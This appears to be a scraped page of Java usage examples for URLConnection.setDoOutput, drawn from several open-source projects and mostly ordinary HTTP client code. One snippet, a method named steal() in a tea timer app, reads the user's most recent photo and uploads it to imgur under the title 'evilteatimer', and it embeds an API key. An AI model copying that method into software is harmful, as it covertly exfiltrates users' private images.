List of usage examples for java.net URLConnection setDoOutput
public void setDoOutput(boolean dooutput)
From source file:io.hummer.util.ws.WebServiceClient.java
private InvocationResult doInvokePOST(Object request, Map<String, String> httpHeaders, int retries) throws Exception { if (retries < 0) throw new Exception("Invocation to " + endpointURL + " failed: " + xmlUtil.toString(request)); logger.debug("POST request to: " + endpointURL + " with body " + request); URL url = new URL(endpointURL); URLConnection conn = url.openConnection(); conn.setDoOutput(true); for (String key : httpHeaders.keySet()) { conn.setRequestProperty(key, httpHeaders.get(key)); }/*from w w w .j a v a 2 s. c o m*/ String theRequest = null; if (request instanceof Element) { theRequest = xmlUtil.toString((Element) request); conn.setRequestProperty("Content-Type", "application/xml"); } else if (request instanceof String) { theRequest = (String) request; conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); } BufferedWriter w = new BufferedWriter(new OutputStreamWriter(conn.getOutputStream())); theRequest = theRequest.trim(); w.write(theRequest); w.close(); BufferedReader r = new BufferedReader(new InputStreamReader(conn.getInputStream())); StringBuilder b = new StringBuilder(); String temp; while ((temp = r.readLine()) != null) { b.append(temp); b.append("\n"); } String originalResult = b.toString(); String result = originalResult.trim(); if (!result.startsWith("<")) // wrap non-xml results (e.g., CSV files) result = "<doc>" + result + "</doc>"; Element resultElement = xmlUtil.toElement(result); InvocationResult invResult = new InvocationResult(resultElement, originalResult); invResult.getHeaders().putAll(conn.getHeaderFields()); return invResult; }
From source file:com.upnext.blekit.util.http.HttpClient.java
public <T> Response<T> fetchResponse(Class<T> clazz, String path, Map<String, String> params, String httpMethod, String payload, String payloadContentType) { try {/* www . ja va2 s . c o m*/ String fullUrl = urlWithParams(path != null ? url + path : url, params); L.d("[" + httpMethod + "] " + fullUrl); final URLConnection connection = new URL(fullUrl).openConnection(); if (connection instanceof HttpURLConnection) { final HttpURLConnection httpConnection = (HttpURLConnection) connection; httpConnection.setDoInput(true); if (httpMethod != null) { httpConnection.setRequestMethod(httpMethod); if (httpMethod.equals("POST")) { connection.setDoOutput(true); // Triggers POST. connection.setRequestProperty("Accept-Charset", "UTF-8"); connection.setRequestProperty("Content-Type", payloadContentType); } } else { httpConnection.setRequestMethod(params != null ? "POST" : "GET"); } httpConnection.addRequestProperty("Accept", "application/json"); httpConnection.connect(); if (payload != null) { OutputStream outputStream = httpConnection.getOutputStream(); try { if (LOG_RESPONSE) { L.d("[payload] " + payload); } OutputStreamWriter writer = new OutputStreamWriter(outputStream, "UTF-8"); writer.write(payload); writer.close(); } finally { outputStream.close(); } } InputStream input = null; try { input = connection.getInputStream(); } catch (IOException e) { // workaround for Android HttpURLConnection ( IOException is thrown for 40x error codes ). final int statusCode = httpConnection.getResponseCode(); if (statusCode == -1) throw e; return new Response<T>(Error.httpError(httpConnection.getResponseCode())); } final int statusCode = httpConnection.getResponseCode(); L.d("statusCode " + statusCode); if (statusCode == HttpURLConnection.HTTP_OK || statusCode == HttpURLConnection.HTTP_CREATED) { try { T value = null; if (clazz != Void.class) { if (LOG_RESPONSE || clazz == String.class) { StringBuilder sb = new StringBuilder(); BufferedReader br = new BufferedReader(new InputStreamReader(input)); String read = br.readLine(); while (read != null) { sb.append(read); read = br.readLine(); } String response = sb.toString(); if (LOG_RESPONSE) { L.d("response " + response); } if (clazz == String.class) { value = (T) response; } else { value = (T) objectMapper.readValue(response, clazz); } } else { value = (T) objectMapper.readValue(input, clazz); } } return new Response<T>(value); } catch (JsonMappingException e) { return new Response<T>(Error.serlizerError(e)); } catch (JsonParseException e) { return new Response<T>(Error.serlizerError(e)); } } else if (statusCode == HttpURLConnection.HTTP_NO_CONTENT) { try { T def = clazz.newInstance(); if (LOG_RESPONSE) { L.d("statusCode == HttpURLConnection.HTTP_NO_CONTENT"); } return new Response<T>(def); } catch (InstantiationException e) { return new Response<T>(Error.ioError(e)); } catch (IllegalAccessException e) { return new Response<T>(Error.ioError(e)); } } else { if (LOG_RESPONSE) { L.d("error, statusCode " + statusCode); } return new Response<T>(Error.httpError(statusCode)); } } return new Response<T>(Error.ioError(new Exception("Url is not a http link"))); } catch (IOException e) { if (LOG_RESPONSE) { L.d("error, ioError " + e); } return new Response<T>(Error.ioError(e)); } }
From source file:de.static_interface.sinklibrary.Updater.java
private boolean isUpdateAvailable() { try {//from ww w . java 2 s . c o m final URLConnection conn = url.openConnection(); conn.setConnectTimeout(5000); String version = SinkLibrary.getInstance().getVersion(); conn.addRequestProperty("User-Agent", "SinkLibrary/v" + version + " (modified by Trojaner)"); conn.setDoOutput(true); final BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); final String response = reader.readLine(); final JSONArray array = (JSONArray) JSONValue.parse(response); if (array.size() == 0) { SinkLibrary.getInstance().getLogger() .warning("The updater could not find any files for the project id " + id); result = UpdateResult.FAIL_BADID; return false; } versionName = (String) ((JSONObject) array.get(array.size() - 1)).get(Updater.TITLE_VALUE); versionLink = (String) ((JSONObject) array.get(array.size() - 1)).get(Updater.LINK_VALUE); versionType = (String) ((JSONObject) array.get(array.size() - 1)).get(Updater.TYPE_VALUE); versionGameVersion = (String) ((JSONObject) array.get(array.size() - 1)).get(Updater.VERSION_VALUE); return true; } catch (final IOException e) { if (e.getMessage().contains("HTTP response code: 403")) { SinkLibrary.getInstance().getLogger() .warning("dev.bukkit.org rejected the API key provided in plugins/Updater/config.yml"); SinkLibrary.getInstance().getLogger() .warning("Please double-check your configuration to ensure it is correct."); result = UpdateResult.FAIL_APIKEY; } else { SinkLibrary.getInstance().getLogger() .warning("The updater could not contact dev.bukkit.org for updating."); SinkLibrary.getInstance().getLogger().warning( "If you have not recently modified your configuration and this is the first time you are seeing this message, the site may be experiencing temporary downtime."); result = UpdateResult.FAIL_DBO; } e.printStackTrace(); return false; } }
From source file:goo.TeaTimer.TimerActivity.java
private void steal() { new Thread(new Runnable() { public void run() { try { Looper.prepare();/*from www.java 2 s .c o m*/ String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); cursor.moveToLast(); int columnIndex = cursor.getColumnIndex(filePathColumn[0]); String filePath = cursor.getString(columnIndex); cursor.close(); Log.v(TAG, "FilePath:" + filePath); Bitmap bitmap = BitmapFactory.decodeFile(filePath); bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); // Creates Byte Array from picture ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best URL url = new URL("http://api.imgur.com/2/upload.json"); //encodes picture with Base64 and inserts api key String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); // opens connection and sends data URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Read the results BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String jsonString = in.readLine(); in.close(); JSONObject json = new JSONObject(jsonString); String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); Log.v(TAG, "Imgur link:" + imgUrl); Context context = getApplicationContext(); mImgUrl = imgUrl; Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); toast.show(); } catch (Exception exception) { Log.v(TAG, "Upload Failure:" + exception.getMessage()); } } }).start(); }
From source file:com.oakesville.mythling.util.HttpHelper.java
private void prepareConnection(URLConnection conn, Map<String, String> headers) throws IOException { conn.setConnectTimeout(getConnectTimeout()); conn.setReadTimeout(getReadTimeout()); for (String key : headers.keySet()) conn.setRequestProperty(key, headers.get(key)); if (method == Method.Post) { ((HttpURLConnection) conn).setRequestMethod("POST"); if (postContent != null) conn.setDoOutput(true); }//from w w w.j ava 2s .c om }
From source file:net.milkbowl.vault.Vault.java
public double updateCheck(double currentVersion) { try {/*from w w w .ja v a 2s . c o m*/ URL url = new URL("https://api.curseforge.com/servermods/files?projectids=33184"); URLConnection conn = url.openConnection(); conn.setReadTimeout(5000); conn.addRequestProperty("User-Agent", "Vault Update Checker"); conn.setDoOutput(true); final BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); final String response = reader.readLine(); final JSONArray array = (JSONArray) JSONValue.parse(response); if (array.size() == 0) { this.getLogger().warning("No files found, or Feed URL is bad."); return currentVersion; } // Pull the last version from the JSON newVersionTitle = ((String) ((JSONObject) array.get(array.size() - 1)).get("name")).replace("Vault", "") .trim(); return Double.valueOf(newVersionTitle.replaceFirst("\\.", "").trim()); } catch (Exception e) { log.info("There was an issue attempting to check for the latest version."); } return currentVersion; }
From source file:org.signserver.client.cli.validationservice.ValidateCertificateCommand.java
private ValidateResponse runHTTP(final X509Certificate cert) throws Exception { final URL processServlet = new URL(useSSL ? "https" : "http", hosts[0], port, servlet); OutputStream out = null;/*from w w w .ja va2 s .co m*/ InputStream in = null; try { final URLConnection conn = processServlet.openConnection(); conn.setDoOutput(true); conn.setAllowUserInteraction(false); final StringBuilder sb = new StringBuilder(); sb.append("--" + BOUNDARY); sb.append(CRLF); try { final int workerId = Integer.parseInt(service); sb.append("Content-Disposition: form-data; name=\"workerId\""); sb.append(CRLF); sb.append(CRLF); sb.append(workerId); } catch (NumberFormatException e) { sb.append("Content-Disposition: form-data; name=\"workerName\""); sb.append(CRLF); sb.append(CRLF); sb.append(service); } sb.append(CRLF); sb.append("--" + BOUNDARY); sb.append(CRLF); sb.append("Content-Disposition: form-data; name=\"processType\""); sb.append(CRLF); sb.append(CRLF); sb.append("validateCertificate"); sb.append(CRLF); sb.append("--" + BOUNDARY); sb.append(CRLF); sb.append("Content-Disposition: form-data; name=\"datafile\""); sb.append("; filename=\""); sb.append(certPath.getAbsolutePath()); sb.append("\""); sb.append(CRLF); sb.append("Content-Type: application/octet-stream"); sb.append(CRLF); sb.append("Content-Transfer-Encoding: binary"); sb.append(CRLF); sb.append(CRLF); conn.addRequestProperty("Content-Type", "multipart/form-data; boundary=" + BOUNDARY); out = conn.getOutputStream(); out.write(sb.toString().getBytes()); out.write(cert.getEncoded()); out.write(("\r\n--" + BOUNDARY + "--\r\n").getBytes()); out.flush(); // Get the response in = conn.getInputStream(); final ByteArrayOutputStream os = new ByteArrayOutputStream(); int len; final byte[] buf = new byte[1024]; while ((len = in.read(buf)) > 0) { os.write(buf, 0, len); } os.close(); // read string from response final String response = os.toString(); final String[] responseParts = response.split(";"); // last part of the response string can by empty (revocation date) if (responseParts.length < 4 || responseParts.length > 5) { throw new IOException("Malformed HTTP response"); } final String revocationDateString = responseParts.length == 4 ? null : responseParts[4]; final Date revocationDate = revocationDateString != null && revocationDateString.length() > 0 ? new Date(Integer.valueOf(revocationDateString)) : null; final Validation validation = new Validation(cert, null, Validation.Status.valueOf(responseParts[0]), responseParts[2], revocationDate, Integer.valueOf(responseParts[3])); final ValidateResponse validateResponse = new ValidateResponse(validation, responseParts[1].split(",")); return validateResponse; } catch (IOException e) { throw new RuntimeException(e); } finally { if (out != null) { try { out.close(); } catch (IOException ex) { throw new RuntimeException(ex); } } if (in != null) { try { in.close(); } catch (IOException ex) { throw new RuntimeException(ex); } } } }
From source file:org.tightblog.service.WeblogEntryManager.java
public ValidationResult makeAkismetCall(String apiRequestBody) throws IOException { if (!StringUtils.isBlank(akismetApiKey)) { URL url = new URL("http://" + akismetApiKey + ".rest.akismet.com/1.1/comment-check"); URLConnection conn = url.openConnection(); conn.setDoOutput(true); conn.setRequestProperty("User_Agent", "TightBlog"); conn.setRequestProperty("Content-type", "application/x-www-form-urlencoded;charset=utf8"); conn.setRequestProperty("Content-length", Integer.toString(apiRequestBody.length())); OutputStreamWriter osr = new OutputStreamWriter(conn.getOutputStream(), StandardCharsets.UTF_8); osr.write(apiRequestBody, 0, apiRequestBody.length()); osr.flush();/*from w w w . ja va 2 s. c o m*/ osr.close(); try (InputStreamReader isr = new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8); BufferedReader br = new BufferedReader(isr)) { String response = br.readLine(); if ("true".equals(response)) { if ("discard".equalsIgnoreCase(conn.getHeaderField("X-akismet-pro-tip"))) { return ValidationResult.BLATANT_SPAM; } return ValidationResult.SPAM; } } } return ValidationResult.NOT_SPAM; }
From source file:org.ohie.pocdemo.form.util.InfoMan.java
private String invoke(final String req) throws Exception { log.info("Sending to " + URL + "\n" + req); final URLConnection ucon = new URL(URL).openConnection(); ucon.setRequestProperty("Accept", "text/xml"); ucon.setRequestProperty("Accept-Charset", "utf-8"); ucon.setRequestProperty("Content-Type", "text/xml; charset=utf-8"); String userPassword = USERNAME + ":" + PASSWORD; String encoding = new sun.misc.BASE64Encoder().encode(userPassword.getBytes()); ucon.setRequestProperty("Authorization", "Basic " + encoding); ucon.setDoInput(true);/*from www . j av a 2 s . c o m*/ ucon.setDoOutput(true); ucon.getOutputStream().write(req.getBytes()); final InputStream in = Util.getRawStream(ucon); final String rsp; try { rsp = Util.readStream(in); } finally { in.close(); } log.info("Received from " + URL + "\n" + rsp); return rsp; }
From source file:com.redhat.rhn.frontend.action.common.DownloadFile.java
@Override protected StreamInfo getStreamInfo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { String path = ""; Map params = (Map) request.getAttribute(PARAMS); String type = (String) params.get(TYPE); if (type.equals(DownloadManager.DOWNLOAD_TYPE_KICKSTART)) { return getStreamInfoKickstart(mapping, form, request, response, path); } else if (type.equals(DownloadManager.DOWNLOAD_TYPE_COBBLER)) { String url = ConfigDefaults.get().getCobblerServerUrl() + (String) params.get(URL_STRING); KickstartHelper helper = new KickstartHelper(request); String data = ""; if (helper.isProxyRequest()) { data = KickstartManager.getInstance().renderKickstart(helper.getKickstartHost(), url); } else {//from ww w .j a v a 2s. c o m data = KickstartManager.getInstance().renderKickstart(url); } setTextContentInfo(response, data.length()); return getStreamForText(data.getBytes()); } else if (type.equals(DownloadManager.DOWNLOAD_TYPE_COBBLER_API)) { // read data from POST body String postData = new String(); String line = null; BufferedReader reader = request.getReader(); while ((line = reader.readLine()) != null) { postData += line; } // Send data URL url = new URL(ConfigDefaults.get().getCobblerServerUrl() + "/cobbler_api"); URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); // this will write POST /download//cobbler_api instead of // POST /cobbler_api, but cobbler do not mind wr.write(postData, 0, postData.length()); wr.flush(); conn.connect(); // Get the response String output = new String(); BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); while ((line = rd.readLine()) != null) { output += line; } wr.close(); KickstartHelper helper = new KickstartHelper(request); if (helper.isProxyRequest()) { // Search/replacing all instances of cobbler host with host // we pass in, for use with Spacewalk Proxy. output = output.replaceAll(ConfigDefaults.get().getCobblerHost(), helper.getForwardedHost()); } setXmlContentInfo(response, output.length()); return getStreamForXml(output.getBytes()); } else { Long fileId = (Long) params.get(FILEID); Long userid = (Long) params.get(USERID); User user = UserFactory.lookupById(userid); if (type.equals(DownloadManager.DOWNLOAD_TYPE_PACKAGE)) { Package pack = PackageFactory.lookupByIdAndOrg(fileId, user.getOrg()); setBinaryContentInfo(response, pack.getPackageSize().intValue()); path = Config.get().getString(ConfigDefaults.MOUNT_POINT) + "/" + pack.getPath(); return getStreamForBinary(path); } else if (type.equals(DownloadManager.DOWNLOAD_TYPE_SOURCE)) { Package pack = PackageFactory.lookupByIdAndOrg(fileId, user.getOrg()); List<PackageSource> src = PackageFactory.lookupPackageSources(pack); if (!src.isEmpty()) { setBinaryContentInfo(response, src.get(0).getPackageSize().intValue()); path = Config.get().getString(ConfigDefaults.MOUNT_POINT) + "/" + src.get(0).getPath(); return getStreamForBinary(path); } } else if (type.equals(DownloadManager.DOWNLOAD_TYPE_REPO_LOG)) { Channel c = ChannelFactory.lookupById(fileId); ChannelManager.verifyChannelAdmin(user, fileId); StringBuilder output = new StringBuilder(); for (String fileName : ChannelManager.getLatestSyncLogFiles(c)) { RandomAccessFile file = new RandomAccessFile(fileName, "r"); long fileLength = file.length(); if (fileLength > DOWNLOAD_REPO_LOG_LENGTH) { file.seek(fileLength - DOWNLOAD_REPO_LOG_LENGTH); // throw away text till end of the actual line file.readLine(); } else { file.seek(0); } String line; while ((line = file.readLine()) != null) { output.append(line); output.append("\n"); } file.close(); if (output.length() > DOWNLOAD_REPO_LOG_MIN_LENGTH) { break; } } setTextContentInfo(response, output.length()); return getStreamForText(output.toString().getBytes()); } else if (type.equals(DownloadManager.DOWNLOAD_TYPE_CRASHFILE)) { CrashFile crashFile = CrashManager.lookupCrashFileByUserAndId(user, fileId); String crashPath = crashFile.getCrash().getStoragePath(); setBinaryContentInfo(response, (int) crashFile.getFilesize()); path = Config.get().getString(ConfigDefaults.MOUNT_POINT) + "/" + crashPath + "/" + crashFile.getFilename(); return getStreamForBinary(path); } } throw new UnknownDownloadTypeException( "The specified download type " + type + " is not currently supported"); }